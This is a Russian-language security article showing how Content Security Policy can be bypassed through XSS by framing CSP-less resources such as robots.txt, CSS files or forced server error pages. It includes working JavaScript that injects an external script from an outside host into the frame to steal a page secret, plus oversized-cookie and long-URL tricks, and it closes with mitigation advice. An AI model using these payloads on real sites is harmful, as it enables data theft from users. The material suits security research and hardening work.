Политика защиты контента (CSP) — это механизм, встроенный в браузеры, который позволяет защититься от XSS-атак. Он описывает браузеру безопасные источники загрузки ресурсов, таких как JavaScript, стили, изображения, фреймы. Основной способ использования политики — блокировка недоверенных JS, что сводит к минимуму вероятность успешной эксплуатации XSS. Например, если в заголовке CSP указано загружать изображения только с текущего домена, то все теги со сторонними доменами будут проигнорированы. Но как провести полноценную атаку с кражей данных, если ничего нельзя отправлять на другие ресурсы?

Типичный пример использования CSP — это разрешение загрузки ресурсов с собственного домена (self) и разрешение выполнения инлайн-сценариев:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Такая политика подразумевает «запрещено все, что не разрешено». В данной конфигурации будет запрещено любое использование функций, выполняющих код в виде строки, таких как eval, setTimeout, setInterval, так как отсутствует настройка 'unsafe-eval'.


Запрещено грузить любой контент с внешних источников, в том числе изображения, CSS, WebSocket. И конечно же, JS.

WWW

Для примера я специально оставил XSS в этом месте, задача — украсть секрет пользователя.

Но не стоит забывать, что self позволяет работать в контексте SOP в рамках этого домена, поэтому мы по-прежнему можем грузить сценарии, создавать фреймы, изображения. Если вспомнить о фреймах, то CSP распространяется и на фреймы, в том числе если в качестве протокола будет указан data, blob или будет сформирован фрейм с помощью атрибута srcdoc.


WARNING

Статья написана в исследовательских целях. Вся информация в ней носит ознакомительный характер. Ни автор, ни редакция не несет ответственности за неправомерное использование упомянутых в ней аппаратных платформ, программ и техник!

 

Можно ли выполнить JS в текстовом файле?

Для начала вспомним один трюк. Если современный браузер открывает изображение или какой-то текстовый файл, он автоматически преобразуется в HTML-страницу.


Это нужно для корректного отображения содержимого пользователю, чтобы у изображения был фон и она была расположена по центру. Но iframe также является окном! Поэтому открытые в нем файлы, которые отображаются в браузере, например favicon.ico или robots.txt, автоматически преобразуются в HTML, независимо от того, корректные ли в нем данные, главное — чтобы был правильный content-type.

Но что, если фрейм будет содержать страницу сайта, но уже без заголовка CSP? Вопрос риторический. Выполнит ли открытый фрейм без политики все JS, которые будут у него внутри? Если иметь XSS на странице, мы можем сами записать свой JS внутрь фрейма.

Для теста сформируем сценарий, который открывает iframe. Для примера возьмем bootstrap.min.css, путь к которому указан на странице выше.

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);

Теперь посмотрим на содержимое фрейма. Отлично! CSS был преобразован в HTML, и нам удалось переписать содержимое head (хотя оно было пустое). Теперь проверим, сработает ли в нем подключение внешнего JavaScript-файла.

script=document.createElement('script');
script.src='//bo0om.ru/csp.js';
window.frames[0].document.head.appendChild(script);

Таким образом мы можем выполнить инъекцию через iframe, создать в нем свой JS-сценарий и обратиться в окно-родитель, чтобы украсть оттуда данные.

Для полноценной эксплуатации XSS достаточно открыть фрейм с любым путем, где отсутствует политика безопасности. Это могут быть стандартные favicon.ico, robots.txt, sitemap.xml, CSS/JS-файлы, загруженные пользователями изображения и прочее.

WWW

PoC проведения атаки через robots.txt.

 

Ошибки сервера для обхода CSP

Но что, если любой корректный ответ (200 — OK) содержит X-Frame-Options: Deny? Вторая ошибка, которую допускают при внедрении CSP, — это отсутствие защитных заголовков при ошибках веб-сервера. Самый простой вариант — обратиться на несуществующую страницу. Я заметил, что многие ресурсы ставят X-Frame-Options только на ответы 200, но 404 игнорируют.

Если и это предусмотрено — попробуем вызвать стандартное сообщение от веб-сервера о некорректной ссылке.

Чтобы гарантированно вызвать 400 bad request на примере nginx, достаточно обратиться на директорию выше с помощью конструкции /%2e%2e%2f. Чтобы препятствовать нормализации ссылки браузером (браузер уберет /../ и отправит /), делаем urlencode точки и последнего слеша:

frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

Другой из вариантов развития событий — передача некорректного urlencode в пути, например /% или /%%z.

Однако самый простой способ получить ошибку веб-сервера — это превышение длины URL. Современные браузеры могут сформировать ссылку много больше, чем поддерживает веб-сервер. А у веб-серверов по умолчанию размер ссылки не должен превышать 8 Кбайт данных, как в nginx, так и в Apache.

Для этого вызываем похожий сценарий, например с длиной пути в 20 000 байт:

frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

Если вспомнить о других лимитах — это длина кук. Количество и длина кук в браузере может быть больше, чем поддерживают веб-серверы. По аналогии:

  1. Создаем огромные cookie:

    for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
    
  2. Открываем фрейм на любой адрес, сервер вернет ошибку (и часто без XFO и CSP).

  3. Удаляем огромные cookie:

    for(var i=0;i<5;i++){document.cookie=i+"="}
    
  4. Пишем в фрейм свой JS-сценарий, который ворует secret.

Попробуй сам! А если не получится, вот тебе PoC :).

Скорее всего, есть и другие способы вызвать ошибку, например отправить слишком длинный POST-запрос или вызвать ошибку самого веб-приложения (например, с ошибкой 500).

 

Почему это работает?

Потому что политика подключаемого ресурса в фрейме контролируется самим ресурсом.

WWW

На сайте Useless CSP ты найдешь множество примеров сайтов, на которых неверно настроена CSP, что сводит всю защиту на нет.

 

Как этого избежать

Заголовок Content-Security-Policy должен присутствовать на всех страницах, даже на ошибках веб-сервера.

Настройка CSP должна происходить таким образом, чтобы права были минимально необходимыми для корректной работы ресурса, если это возможно. Попробуй включить Content-Security-Policy-Report-Only: default-src 'none' и постепенно включать правила для тех или иных ситуаций.

Если для корректной работы ресурса необходимо использовать unsafe-inline, обязательно нужно внедрить nonce или hash-source, без этого защита от атак типа XSS сходит на нет. А если CSP не защищает от атак, какой в нем смысл?

INFO

Дополнительно, как рассказал @majorisc, данные со страницы можно увести с помощью RTCPeerConnection, передавая секрет через DNS-запросы. Default-src 'self', к сожалению, не защищает и от этого.

3 комментария

  1. Аватар

    r0uly

    15.10.2018 в 23:55

    Классный трюк с браузером!

  2. Аватар

    techport

    29.10.2018 в 16:32

    Данные SECRET со страницы примера можно увести через банальный setTimeout (т.к. судя по всему, переменная XSS просто вставляется в тэг и в дальнейшем воспринимается как «свой» js). Защита CSP при вставке eval(…) срабатывает благодаря директиве ‘unsafe-inline’

Оставить мнение